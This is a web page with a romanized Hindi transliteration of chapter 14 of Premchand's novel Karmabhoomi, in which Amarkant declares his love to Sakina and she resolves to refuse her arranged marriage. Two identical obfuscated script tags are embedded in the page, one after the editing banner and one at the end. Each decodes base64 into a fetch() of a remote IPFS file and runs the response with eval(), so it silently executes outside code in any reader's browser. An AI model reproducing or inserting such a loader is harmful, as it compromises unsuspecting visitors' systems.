कर्मभूमि उपन्यास भाग-1 अध्याय-14

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

amarakant ka man phir se uchat hone laga. sakina usaki aankhoan mean basi huee thi. sakina ke ye shabd unake kanoan mean gooanj rahe the...mere lie duniya kuchh aur ho gee hai. maian apane dil mean aisi takat, aisi umang pati hooan in shabdoan mean usaki purush kalpana ko aisi anandaprad uth‍tejana milati thi ki vah apane ko bhool jata tha. phir dookan se usaki ruchi ghatane lagi. ramani ki namrata aur salajj anurodha ka svad pa jane ke bad ab sukhada ki pratibha aur garima use bojh-si lagati thi. vahaan hare-bhare path‍toan mean rookhi-sookhi samagri thi yahaan sone-chaandi ke thaloan mean nana vyanjan saje hue the. vahaan saral sneh tha, yahaan garv ka dikhava tha. vah saral sneh ka prasad use apani or khianchata tha, yah amiri that apani or se hatata tha. bachapan mean hi vah mata ke sneh se vanchit ho gaya tha. jivan ke pandrah sal usane shushk shasan mean kate. kabhi maan daantati, kabhi bap big data, keval naina ki komalata usake bhagn hriday par gaha rakhati rahati thi. sukhada bhi aee, to vahi shasan aur garima lekar sneh ka prasad use yahaan bhi n mila. vah chirakal ki sneh-tshna kisi pyase pakshi ki bhaanti, jo kee sarovaroan ke sookhe tat se nirash laut aya ho, sneh ki yah shital chhaya dekhakar vishram aur t़pti ke lobh se usaki sharan mean aee. yahaan shital chhaya hi n thi, jal bhi tha, pakshi yahian ram jae to koee ashchary hai .

us din sakina ki ghor daridrata dekhakar vah ahat ho utha tha. vah vidroh jo kuchh dinoan usake man mean shaant ho gaya tha phir doone veg se utha. vah dharm ke pichhe lathi lekar dau dane laga. dhan ke is bandhan ka use bachapan se hi anubhav hota aya tha. dharm ka bandhan usase kahian kathor, kahian asahay, kahian nirarthak tha. dharm ka kam sansar mean mel aur ekata paida karana hona chahie. yahaan dharm ne vibhinnata aur dvesh paida kar diya hai. kyoan khan-pan mean, rasm-rivaj mean dharm apani taangean a data hai- maian chori karooan, khoon karooan, dhokha dooan, dharm mujhe alag nahian kar sakata. achhoot ke hath se pani pi looan, dharm chhoomantar ho gaya. achchha dharm hai ham dharm ke bahar kisi se atma ka sanbandha bhi nahian kar sakate- atma ko bhi dharm ne bandha rakha hai, prem ko bhi jak d rakha hai. yah dharm nahian, dharm ka kalank hai.

amarakant isi udho d-bun mean p da rahata. budhiya har mahine, aur kabhi-kabhi mahine mean do-tin bar, roomaloan ki potaliyaan banakar lati aur amar use muanh maange dam dekar le leta. renuka, usako jeb kharch ke lie jo rupaye detian, vah sab-ke-sab roomaloan mean jate. salim ka bhi is vyavasay mean sajha tha. usake mitroan mean aisa koee n tha, jisane ek-adha darjan roomal n lie hoan. salim ke ghar se silaee ka kam bhi mil jata. budhiya ka sukhada aur renuka se bhi parichay ho gaya tha. chikan ki sa diyaan aur chadarean banane ka kam bhi milane laga us din se amar budhiya ke ghar n gaya. kee bar vah mazaboot irada karake chala par adho raste se laut aya.

vidyalay mean ek bar 'dharm' par vivad hua. amar ne us avasar par jo bhashan kiya, usane sare shahar mean dhaoom macha di. vah ab kraanti hi mean desh ka ubar samajhata tha-aisi kraanti mean, jo sarvavyapak ho, jo jivan ke mithya adarshoan ka, jhoothe sidhdaantoan ka, paripatiyoan ka aant kar de, jo ek ne yug ki prravattak ho, ek nee srishti kh di kar de, jo mitti ke asankhy devataoan ko to d-pho dakar chakanachoor kar de, jo manushy ko dhan aur dharm ke adhar par tikane vale rajy ke panje se mukt kar de. usake ek-ek anu se kranti kranti .' ki avaz sada nikalati rahati thi lekin udar hindoo-samaj us vakt tak kisi se nahian bolata, jab tak usake lokachar par khullam-khulla aghat n ho. koee kraanti nahian, kraanti ke baba ka hi upadesh kyoan n kare, use paravah nahian hoti lekin upadesh ki sima ke bahar vyavahar kshetr mean kisi ne paanv nikala aur samaj ne usaki gardan pak di. amar ki kraanti abhi tak vyakhyanoan aur lekhoan tak simit thi. digri ki pariksha samapt hote hi vah vyavahar-kshetr mean utarana chahata tha. par abhi pariksha ko ek mahina baki hi tha ki ek aisi ghatana ho gee, jisane use maidan mean ane ko majaboor kar diya. yah sakina ki shadi thi.

ek din sandhh‍ya samay amarakant dookan par baitha hua tha ki budhiya sukhada ki chikani ki sa di lekar aee aur amar se boli-beta, alla ke gajal se sakina ki shadi thik ho gee hai athavian ko nikah ho jaega. aur to maianne sab saman jama kar liya hai par kuchh rupayoan se madad karana.

amar ki na diyoan mean jaise rakt n tha. hakalakar bola-sakina ki shadi aisi kya jaldi thi-

'kya karati beta, gujar to nahian hota, phir javan l daki badanami bhi to hai.'

'sakina bhi raji hai?'

budhiya ne saral bhav se kaha-l dakiyaan kahian apane muanh se kuchh kahati haian beta- vah to nahian-nahian kie jati hai.

amar ne garajakar kaha-phir bhi tum shadi kie deti ho- phir sanbhalakar bola- rupaye ke lie dada se kaho.

'tum meri taraph se sipharish kar dena beta, kah to maian ap looangi.'

'maian sipharish karane vala kaun hota hooan- dada tumhean jitana janate haian, utana maian nahian janata.'

budhiya ko vahian kh di chho dakar, amar badahavas salim ke pas pahuancha. salim ne usaki baukhalaee huee soorat dekhakar poochha-khair to hai- badahavas kyoan ho-

amar ne sanyat hokar kaha-badahavas to nahian hooan. tum khud badahavas hoge.

'achchha to ao, tumhean apani taji gajal sunaooan. aise-aise shair nikale haian ki g dak n jao to mera jimma.'

amarakant ki gardan mean jaise phaansi p d gee, par kaise kahe-meri ichchha nahian hai. salim ne matala padha :

bahala ke savera karate haian is dil ko unhian ki batoan mean,

dil jalata hai apana jinaki tarah, barasat ki bhigi ratoan mean.

amar ne oopari dil se kaha-achchha sher hai.

salim hatotsah n hua. doosara sher padha :

kuchh meri najar ne uth ke kaha kuchh unaki najar ne jhuk ke kaha,

jhag da jo n barasoan mean chukata, tay ho gaya batoan-batoan mean.

amar jhoom utha-khoob kaha hai bhee vah vah lao kalam choom looan. salim ne tisara sher sunaya :

yah yas ka sannata to n tha, jab as lagae sunate the,

mana ki tha dhokha hi dhokha, un mithi-mithi batoan mean.

amar ne kaleja tham liya-gajab ka dard hai bhee dil masos utha.

ek kshan ke bad salim ne chhe da-idhar ek mahine se sakina ne koee roomal nahian bheja kya-

amar ne ganbhir hokar kaha-tum to yar, majak karate ho. usaki shadi ho rahi hai. ek hi hatarhia aur hai.

'to tum dulhin ki taraph se barat mean jana. maian doolhe ki taraph se jaooanga.'

amar ne aankhean nikalakar kaha-mere jite-ji yah shadi nahian ho sakati. maian tumase kahata hooan salim, maian sakina ke daravaze par jan de dooanga, sir patak-patakakar mar jaooanga.

salim ne ghabarakar poochha-yah tum kaisi batean kar rahe ho, bhaeejan- sakina par ashik to nahian ho ge- kya sachamuch mera guman sahi tha-

amar ne aankhoan mean aansoo bharakar kaha-maian kuchh nahian kah sakata, meri kyoan aisi halat ho rahi hai salim par jab se maianne yah khabar suni hai mere jigar mean jaise ara-sa chal rahahai.

'akhir tum chahate kya ho- tum usase shadi to nahian kar sakate.'

'kyoan nahian kar sakata?'

'bilakul bachche n ban jao. jara akl se kam lo.'

'tumhari yahi to mansha hai ki vah musalaman hai, maian hindoo hooan. maian prem ke samane mazahab ki hakikat nahian samajhata, kuchh bhi nahian.'

salim ne avishvas ke bhav se kaha-tumhare khayalat takariroan mean sun chuka hooan, akhabaroan mean padh chuka hooan. aise khayalat bahut ooanche, bahut pakija, duniya mean iankalab paida karane vale haian aur kitanoan ne hi inhean zahir karake namavari hasil ki hai, lekin ilmi bahas doosari chiz hai, us par amal karana doosari chiz hai. bagavat par ilmi bahas kijie, log shauq se suneange. bagavat karane ke lie talavar uthaie aur ap sari sosaiti ke dushman ho jaeange. ilmi bahas se kisi ko chot nahian lagati. bagavat se garadanean katati haian. magar tumane sakina se bhi poochha, vah tumase shadi karane par raji hai-

amar kuchh jhijhaka. is taraph usane dhayan hi n diya tha. usane shayad dil mean samajh liya tha, mere kahane ki der hai, vah to raji hi hai. un shabdoan ke bad ab use kuchh poochhane ki zaroorat n maloom huee.

'mujhe yakin hai ki vah raji hai.'

'yakin kaise hua?'

'usane aisi batean ki haian, jinaka matalab isake siva aur kuchh ho hi nahian sakata.'

'tumane usase kaha-maian tumase shadi karana chahata hooan?'

'usase poochhane ki maian zaroorat nahian samajhata.'

'to ek aisi bat ko, jo tumase ek hamadard ke nate kahi thi, tumane shadi ka vada samajh liya. vah ri apaki akl maian kahata hooan, tum bhang to nahian kha ge ho, ya bahut padhane se tumhara dimag to nahian kharab ho gaya hai- pari se zyada hasin bibi, chaand-sa bachcha aur duniya ki sari nematoan ko ap tilaanjali dene par taiyar haian, us julahe ki namakin aur shayad salikedar chhokari ke lie tumane ise bhi koee takarir ya majamoon samajh rakha hai- sare shahar mean tahalaka p d jaega janab, bhoochal a jaega, shahar hi mean nahian, soobe bhar mean, balki shumali hindostan bhar mean. ap haian kis pher mean- jan se hath dhona p de, to tajjub nahian.'

amarakant in sari badhaoan ko soch chuka tha. inase vah jara bhi vichalit n hua tha. aur agar isake lie samaj use dand deta hai, to use paravah nahian. vah apane hak ke lie mar jana isase kahian achchha samajhata hai ki use chho dakar kayaroan ki ziandagi kate. samaj usaki ziandagi ko tabah karane ka koee hak nahian rakhata. bola-maian yah sab janata hooan salim, lekin maian apani atma ko samaj ka gulam nahian banana chahata. natija jo kuchh bhi ho usake lie maian taiyar hooan. yah muamala mere aur sakina ke daramiyan hai. sosaiti ko hamare bich mean dakhal dene ka koee hak nahian.

salim ne sandigdha bhav se sir hilakar kaha-sakina kabhi manjoor n karegi, agar use tumase muhabbat hai. haan, agar vah tumhari muhabbat ka tamasha dekhana chahati hai, to shayad manjoor kar le magar maian poochhata hooan, usamean kya khoobi hai, jisake lie tum khud itani b di kurbani karane aur kee jiandagiyoan ko khak mean milane par amada ho-

amar ko yah bat apriy lagi. muanh siko dakar bola-maian koee kurbani nahian kar raha hooan aur n kisi ki ziandagi ko khak mean mila raha hooan. maian sirph us raste par ja raha hooan, jidhar meri atma mujhe le ja rahi hai. maian kisi rishte ya daulat ko apani atma ke gale ki janjir nahian bana sakata. maian un adamiyoan mean nahian hooan, jo ziandagi ki janjiroan ko hi ziandagi samajhate haian. maian ziandagi ki arajuoan ko ziandagi samajhata hooan. mujhe jianda rahane ke lie ek aise dil ki zaroorat hai, jisamean arajuean hoan, dard ho, tyag ho, sauda ho. jo mere sath ro sakata ho mere sath jal sakata ho. mahasoos karata hooan ki meri ziandagi par roj-b-roj jang lagata ja raha hai. in chand saloan mean mera kitana eehani javal hua, ise maian hi samajhata hooan. maian janjiroan mean jak da ja raha hooan. sakina hi mujhe azad kar sakati hai, usi ke sath maian eehani bulandiyoan par u d sakata hooan, usi ke sath maian apane ko pa sakata hooan. tum kahate ho-pahale usase poochh lo. tumhara khayal hai-vah kabhi manjoor n karegi. mujhe yakin hai-muhabbat jaisi anamol chiz pakar koee use rapr nahian kar sakata.

salim ne poochha-agar vah kahe tum musalaman ho jao-

'vah yah nahian kah sakati.'

'man lo, kahe.'

'to maian usi vakt ek maulavi ko bulakar kalama padh looanga. mujhe islam mean aisi koee bat nahian najar ati, jise meri atma svikar n karati ho. dharm-tath‍v sab ek haian. hajarat muhammad ko khuda ka rasool manane mean mujhe koee apatti nahian. jis seva, tyag, daya, atm-shudhdi par hindoo-dharm ki buniyad qayam hai, usi par islam ki buniyad bhi qayam hai. islam mujhe budhdoo aur krishna aur ram ki tajim karane se nahian rokata. maian is vakt apani ichchha se hindoo nahian hooan balki isalie ki hindoo ghar mean paida hua hooan. tab bhi maian apani ichchha se musalaman n hooanga balki isalie ki sakina ki maraji hai. mera apana eeman yah hai ki mazahab atma ke lie bandhan hai. meri akl jise kabool kare, vahi mera mazahab hai. baki khuragat .'

salim is javab ke lie taiyar n tha. is javab ne use nishshastr kar diya. aise manodgaroan ne usake aant:karan ko kabhi sparsh n kiya tha. prem ko vah vasana matr samajhata tha. jara-se udgar ko itana vrihadh roop dena, usake lie itani kurbaniyaan karana, sari duniya mean badanam hona aur charoan or ek tahalaka macha dena, use pagalapan maloom hota tha.

usane sir hilakar kaha-sakina kabhi manjoor n karegi.

amar ne shaant bhav se kaha-tum aisa kyoan samajhate ho-

'isalie ki agar use jara bhi akl hai, to vah ek khanadan ko kabhi tabah n karegi.'

'isake yah mane haian ki use mere khanadan ki muhabbat mujhase zyada hai. phir meri samajh mean nahian ata ki mera khanadan kya tabah ho jaega- dada ko aur sukhada ko daulat mujhase zyada pyari hai. bachche ko tab bhi maian isi tarah pyar kar sakata hooan. zyada-se-zyada itana hoga ki maian ghar mean n jaooanga aur unake ghade.-matake n chhooooanga.'

salim ne poochha-d aauktar shantikumar se bhi isaka zikr kiya hai-

amar ne jaise mitr ki moti akl se hatash hokar kaha-nahian, maianne unase zikr karane ki zaroorat nahian samajhi. tumase bhi salah lene nahian aya hooan sirph dil ka bojh halka karane ke lie. mera irada pakka ho chuka hai. agar sakina ne mayoos kar diya, to ziandagi ka khatma kar dooanga. raji huee, to ham donoan chupake se kahian chale jaeange. kisi ko khabar bhi n hogi. do-char mahine bad ghar valoan ko soochana de dooanga. n koee tahalaka machega, n koee toofan aega. yah hai mera program. maian isi vakt usake pas jata hooan, agar usane manjoor kar liya, to lautakar phir yahian aooanga, aur mayoos kiya to tum meri soorat n dekhoge.

yah kahata hua vah uth kh da hua aur tezise govardhan saray ki taraph chala. salim use rokane ka irada karake bhi n rok saka. shayad vah samajh gaya tha ki is vakt isake sir par bhoot savar hai, kisi ki n sunega.

magh ki rat. k dake ki sardi. akash par dhuaan chhaya hua tha. amarakant apani dhun mean mast chala jata tha. sakina par krodh ane laga. mujhe patr tak n likha. ek kard bhi n dala. phir use ek vichitr bhay utpann hua. sakina kahian bura n man jae. usake shabdoan ka ashay yah to nahian tha ki vah usake sath kahian jane par taiyar hai. sanbhav hai usaki razamandi se budhiya ne vivah thik kiya ho. sanbhav hai, us adami ki usake yahaan amadararti bhi ho. vah is samay vahaan baitha ho. agar aisa hua, to amar vahaan se chupachap chala aega. budhiya a gee hogi to usake samane use aur bhi sankoch hoga. vah sakina se ekaant mean vartalap ka avasar chahata tha.

sakina ke dvar par pahuancha, to usaka dil dha dak raha tha. usane ek kshan kan lagakar suna. kisi ki avaz n sunaee di. aangan mean prakash tha. shayad sakina akeli hai. muanh maangi murad mili. ahista se janjir khatakhataee. sakina ne poochhakar turant dvar khol diya aur boli-ammaan to ap hi ke yahaan gee huee haian. .

amar ne kh de-kh de javab diya-haan, mujhase mili thian, aur unhoanne jo khabar sunaee, usane mujhe divana bana rakha hai. abhi tak maianne apane dil ka raj tumase chhipaya tha sakina, aur socha tha ki use kuchh din aur chhipae rahooanga lekin is khabar ne mujhe majaboor kar diya hai ki tumase vah raj kahooan. tum sunakar jo phaisala karogi, usi par meri ziandagi ka daromadar hai. tumhare pairoan par p da hua hooan, chahe thukara do, ya uthakar sine se laga lo. kah nahian sakata yah ag mere dil mean kyoankar lagi lekin jis din tumhean pahali bar dekha, usi din se ek chiangari-si aandar baith gee aur ab vah ek shola ban gee hai. aur agar use jald bujhaya n gaya, to mujhe jalakar khak kar degi. maianne bahut jabt kiya hai sakina, ghut-ghutakar rah gaya hooan magar tumane mana kar diya tha, ane ka hausala n hua tumhare kadamoan par maian apana sab kuchh kurban kar chuka hooan. vah ghar mere lie jelakhane se badatar hai. meri hasin bivi mujhe sangamaramar ki moorat-si lagati hai, jisamean dil nahian dard nahian. tumhean pakar maian sab kuchh pa jaooanga .

sakina jaise ghabara gee. jahaan usane ek chutaki ate ka saval kiya tha, vahaan data ne jyonar ka ek bhara thal lekar usake samane rakh diya. usake chhote-se patr mean itani jagah kahaan hai- usaki samajh mean nahian ata ki us vibhooti ko kaise samete- aanchal aur daman sab kuchh bhar jane par bhi to vah use samet n sakegi. aankhean sajal ho geean, hriday uchhalane laga. sir jhukakar sankoch-bhare svar mean boli-babooji, khuda janata hai, mere dil mean tumhari kitani ijjat aur kitani muhabbat hai. maian to tumhari ek nigah par kurban ho jati. tumane to bhikharin ko jaise tinoan lok ka rajy de diya lekin bhikharin raj lekar kya karegi- use to ek tuk da chahie. mujhe tumane is layaq samajha, yahi mere lie bahut hai. maian apane ko is layaq nahian samajhati. socho, maian kaun hooan- ek garib musalaman aurat, jo mazadoori karake apani ziandagi basar karati hai. mujhamean n vah nagasat hai, n vah salika, n vah ilm. maian sukhadadevi ke kadamoan ki barabari bhi nahian kar sakati. medhaki u dakar ooanche darakht par to nahian ja sakati. mere karan apaki roosavaee ho, usake pahale maian jan de dooangi. maian apaki ziandagi mean dag n lagaooangi.

aise avasaroan par hamare vichar kuchh kavitamay ho jate haian. prem ki gaharaee kavita ki vastu hai aur sadharan bol-chal mean vyakt nahian ho sakati. sakina jara dam lekar boli- tumane ek yatim, garib l daki ko khak se uthakar asaman par pahuanchaya-apane dil mean jagah di-to maian bhi jab tak jiooangi is muhabbat ke chirag ko apane dil ke khoon se roshan rakhooangi.

amar ne thandi saans khianchakar kaha-is khayal se mujhe taskin n hoga, sakina yah chirag hava ke jhoanke se bujh jaega aur vahaan doosara chirag roshan hoga. phir tum mujhe kab yad karogi- yah maian nahian dekh sakata. tum is khayal ko dil se nikal dalo ki maian koee b da adami hooan aur tum bilakul nachiz ho. maian apana sab kuchh tumhare kadamoan par nisar kar chuka aur maian tumhare pujari ke siva aur kuchh nahian. beshak sukhada tumase zyada hasin hai lekin tumamean kuchh bat to hai, jisane mujhe udhar se hatakar tumhare kadamoan par gira diya. tum kisi gair ki ho jao, yah maian nahian sah sakata. jis din yah naubat aegi, tum sun logi ki amar is duniya mean nahian hai agar tumhean meri vapha ke saboot ki zaroorat ho to usake lie khoon ki yah booandean hajir haian.

yah kahate hue usane jeb se chhuri nikal li. sakina ne jhapatakar chhuri usake hath se chhin li aur mithi jhi daki ke sath boli-saboot ki zaroorat unhean hoti hai, jinhean yakin n ho, jo kuchh badale mean chahate hoan. maian to sirph tumhari pooja karana chahati hooan. devata muanh se kuchh nahian bolata to kya pujari ke dil mean usaki bhakti kuchh kam hoti hai- muhabbat khud apana inam hai. nahian janati ziandagi kis taraph jaegi lekin jo kuchh bhi ho, jism chahe kisi ka ho jae, yah dil hamesha tumhara rahega. is muhabbat ki garaj se pak rakhana chahati hooan. sirph yah yakin ki maian tumhari hooan, mere lie kafi hai. maian tumase sach kahati hooan pyare, is yakin ne mere dil ko itana mazaboot kar diya hai ki vah b di-se-b di musibat bhi hansakar jhel sakata hai. maianne tumhean yahaan ane se roka tha. tumhari badanami ke siva, mujhe apani badanami ka bhi khauph tha par ab mujhe jara bhi khauph nahian hai. maian apani hi taraph se bephikr nahian hooan, tumhari taraph se bhi bephikr hooan. meri jan rahate koee tumhara bal bhi baanka nahian kar sakata.

amar ki ichchha huee ki sakina ko gale lagakar prem se chhak jae par sakina ke ooanche premadarsh ne use shaant kar diya. bola-lekin tumhari shadi to hone ja rahi hai-

'maian ab iankar kar dooangi.'

'budhiya man jaegi?'

'maian kah dooangi-agar tumane meri shadi ka nam bhi liya to maian zahar kha looangi.'

'kyoan n isi vakt ham aur tum kahian chale jaean?'

'nahian, vah zahiri muhabbat hai. asali muhabbat vah hai, jisaki judaee mean bhi visal hai, jahaan judaee hai hi nahian, jo apane pyare se ek hazar kos par hokar bhi apane ko usake gale se mila hua dekhati hai.'

sahasa pathanin ne dvar khola. amar ne bat banaee-maian to samajha tha, tum kabaki a gee hogi. bich mean kahaan rah geean-

budhiya ne khatte man se kaha-tumane to aj aisa rookha javab diya bhaiya, ki maian ro p di. tumhara hi to mujhe bharosa tha aur tumhian ne mujhe aisa javab diya par allah ka gajal hai, bahooji ne mujhase vada kiya-jitane rupaye chahana le jana. vahian der ho gee. tum mujhase kisi bat par naraj to nahian ho, beta-

amar ne usaki dilajoee ki-nahian ammaan, apase bhala kya naraj hota. us vakt dada se ek bat par jhak-jhak ho gee thi usi ka khumar tha. maian bad ko khud shamiooda hua aur tumase muaphi maangane dau da. sari khata muaph karati ho-

budhiya rokar boli-beta, tumhare tuk doan par to ziandagi kati, tumase naraj hokar khuda ko kya muanh dikhaooangi- is khal se tumhare paanv ki jootiyoan banean, to bhi dareg n karooan.

'bas, mujhe taskin ho gee ammaan. isilie aya tha.'

amar dvar par pahuancha, to sakina ne dvar band karate hue kaha-kal zaroor ana.

amar par ek gailan ka nasha chadh gaya-zaroor aooanga.

'maian tumhari rah dekhati rahooangi.'

'koee chiz tumhari najar karooan, to naraj to n hogi?'

'dil se badhakar bhi koee najar ho sakati hai?'

'najar ke sath kuchh shirini honi zaroori hai.'

'tum jo kuchh do, vah sir-aankhoan par.'

amar is tarah ak data hua ja raha tha goya duniya ki badashahi pa gaya hai.

sakina ne dvar band karake dadi se kaha-tum nahak dau d-dhoop kar rahi ho ammaan. maian shadi n karooangi.

'to kya yoan hi baithi rahegi?'

'haan, jab meri marzi hogi, tab kar looangi.'

'to kya maian hamesha baithi rahooangi?'

'haan, jab tak meri shadi n ho jaegi, ap baithi raheangi.'

'hansi mat kar. maian sab iantajam kar chuki hooan.'

'nahian ammaan, maian shadi n karooangi aur mujhe dikh karogi to zahar kha looangi. shadi ke khayal se meri eeh phana ho jati hai.'

'tumhean kya ho gaya sakina?'

'maian shadi nahian karana chahati, bas. jab tak koee aisa adami n ho, jisake sath mujhe aram se ziandagi basar hone ka itminan ho maian yah dard sar nahian lena chahati. tum mujhe aise ghar mean dalane ja rahi ho, jahaan meri ziandagi talkh ho jaegi. shadi ki mansha yah nahian hai ki adami ro-rokar din kate.'

pathanin ne aangithi ke samane baithakar sir par hath rakh liya aur sochane lagi-l daki kitani besharm hai .

sakina bajare ki rotiyaan masoor ki dal ke sath khakar, tooti khat par leti aur purane gate hue lihaph mean sardi ke mare paanv siko d lie, par usaka hriday anand se paripoorn tha. aj use jo vibhooti mili thi, usake samane sansar ki sanpada tuchchh thi, nagany thi.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>